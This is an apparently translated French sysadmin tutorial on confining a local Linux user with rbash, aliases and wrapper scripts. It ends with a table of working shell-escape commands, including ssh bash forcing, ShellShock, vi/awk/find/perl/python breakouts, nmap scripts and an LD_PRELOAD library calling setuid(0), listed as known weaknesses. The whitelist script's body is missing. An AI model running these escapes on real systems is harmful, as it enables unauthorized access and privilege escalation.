
Un jour, la tâche suivante est apparue: créer un utilisateur local sous Linux, avec un accès limité aux dossiers et fichiers, y compris non seulement l'édition, mais aussi la visualisation, ainsi que la possibilité d'utiliser uniquement les utilitaires autorisés. Seul un accès local est fourni, il n'y a pas d'accès au réseau.
Afin de ne pas réinventer la roue, la première chose que j'ai faite a été de commencer à creuser Internet, à la suite de quoi les options suivantes ont été trouvées:
- restrictions d'accès via les services réseau ssh, sftp (ne correspondait pas)
- différenciation des droits d'accès par le système d'exploitation linux lui-même (ne correspondait pas, je voudrais une solution universelle)
- en utilisant chroot (ne correspondait pas)
- l'utilisation d'utilitaires tiers, par exemple SELinux (ne convenait pas, complique le système).
À la suite de la recherche, un mécanisme intégré pour restreindre les capacités des utilisateurs dans le shell bash a été trouvé, il est appelé
Shell restreint ou rbash .
Il met en œuvre les restrictions suivantes:
- il n'y a aucun moyen de changer le répertoire avec la commande cd
- Vous ne pouvez pas réinitialiser ou modifier les valeurs des variables SHELL, PATH, ENV, BASH_ENV
- il est interdit de spécifier des commandes contenant / (barre oblique)
- il est interdit d'importer des fonctions depuis le shell principal
- il est interdit de rediriger la sortie en utilisant les opérateurs>, <, |, <>,> &, &>, >>
- il est interdit d'utiliser la commande exec pour remplacer la commande, etc.
Il y a un inconvénient, c'est la sécurité, il est donc impératif d'ajouter un alias aux commandes dans le fichier de comportement du shell .bashrc (les informations seront plus loin).
Bien sûr, rbash est prêt à l'emploi, il ne résout pas tous les problèmes, par conséquent, à titre d'exemple, nous envisageons de créer un utilisateur et de configurer son environnement pour une solution complète à notre problème.
De plus, toutes les opérations sont effectuées à partir du superutilisateur (root).
1. Créez un shell limité
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
2. Créez un utilisateur
adduser --home /home/zuser --shell /bin/zbash zuser
3. Modifier les autorisations du répertoire
chown root.zuser /home/zuser chmod 750 /home/zuser
4. Allez dans le répertoire et nettoyez-le
cd ~zuser ls -a rm .bash* rm .profile ls -a
5. Personnalisez le shell et les droits
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc
Le fichier .bashrc définit le comportement du shell; un alias pour les commandes ou des
options supplémentaires peut être ajouté à ce fichier.
Pour garantir la sécurité, exécutez les commandes suivantes:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
La liste continue ...
6. Vérifiez le travail
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: zuser@host: /bin/ls bash: /bin/ls: {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: zuser@host: exit
7. Ajoutez des commandes valides
ln -s /bin/ping /home/zuser/bin/ping
Il est important de noter que les chemins de la commande ln doivent être entièrement spécifiés.
8. Vous pouvez utiliser des wrappers pour limiter les options de la commande.
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9. Vous pouvez également créer un wrapper pour travailler avec des fichiers et des dossiers.
avec une
liste noire (tout autoriser sauf):
- créer un fichier
nano /var/scripts/ls
- contenu du fichier
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
liste noire - une variable contenant une liste noire de répertoires ou de fichiers (séparés par des espaces)
- ajouter une commande pour l'utilisateur zuser
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
Ce script vous permet d'exécuter la commande ls avec toutes les clés des répertoires et fichiers qui ne correspondent pas à la liste noire
avec une
liste blanche (interdire tout sauf):
- créer un fichier
nano /var/scripts/cat
- contenu du fichier
whitelist="./ /tmp/"
liste blanche - une variable contenant une liste blanche de répertoires ou de fichiers (séparés par des espaces)
- ajouter une commande pour l'utilisateur zuser
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
Ce script vous permet d'exécuter la commande cat avec les fichiers spécifiés dans la liste blanche.
Terminé , nous avons finalement obtenu le résultat suivant:
- nous avons créé un utilisateur zuser avec shell rbash
- désactivé la possibilité d'utiliser l'auto-complétion dans la console
- zuser ne peut exécuter les utilitaires qu'à partir du répertoire / home / zuser / bin
- a ajouté la commande ping à zuser
- a ajouté la commande user-info à l'utilisateur zuser
- zuser a été restreint via le wrapper pour exécuter les commandes ls et cat
Cette mĂ©thode ne garantit malheureusement pas une sĂ©curitĂ© Ă 100%, et avec certaines connaissances et qualifications, l'utilisateur peut quitter ce shell. Merci Ă
Jouretz arheops YaDr dans les commentaires, ils ont
fourni des exemples de contournement des restrictions de shell.
Les vulnérabilités suivantes existent dans cette solution (Shell Escape), qui doivent être prises en compte:
CHEMIN | Possibilité de changer la variable PATH |
Copier des fichiers par scp | Possibilité de télécharger votre script |
Lors de la connexion via ssh, vous pouvez changer le shell | ssh zuser@xxxx -t "/bin/bash" |
Lors de la connexion via ssh, vous pouvez modifier le fichier de configuration du shell | ssh zuser@xxxx -t "bash --noprofile" |
Lors de la connexion via ssh, vous pouvez utiliser ShellShock | ssh zuser@xxxx -t "() { :; }; /bin/bash" |
Via les utilitaires vi, vim | :!bash |
Via les utilitaires vi, vim | :set shell=/bin/bash :shell |
Grâce aux services publics, l'homme, plus, moins | !bash |
Grâce à l'utilitaire de recherche | find . -maxdepth 0 -execdir /bin/bash \; |
Via l'utilitaire awk | awk 'BEGIN {system("/bin/bash")}' |
Via l'utilitaire nmap | nmap --interactive |
Via l'utilitaire nmap | echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse |
Grâce à perl | perl -e 'exec "/bin/bash";' |
Via python | python -c 'import pty; pty.spawn("/bin/bash")' |
Via ruby | ruby: exec "/bin/bash" |
Via LD_PRELOAD | Créez le fichier evil.c:
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } Nous compilons:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles Nous transférons le fichier evil.so résultant sur la machine avec la console fermée et exécutons:
LD_PRELOAD=$PWD/evil.so ls Comme argument, toute commande disponible |
En raison de la présence d'un nombre suffisamment important de vulnérabilités, cette méthode ne peut être utilisée que pour un utilisateur local sur des systèmes non critiques; pour l'accès sur un réseau via ssh, il est préférable d'utiliser chroot ou d'autres utilitaires pour restreindre les capacités des utilisateurs.
J'espère que ces informations vous seront utiles.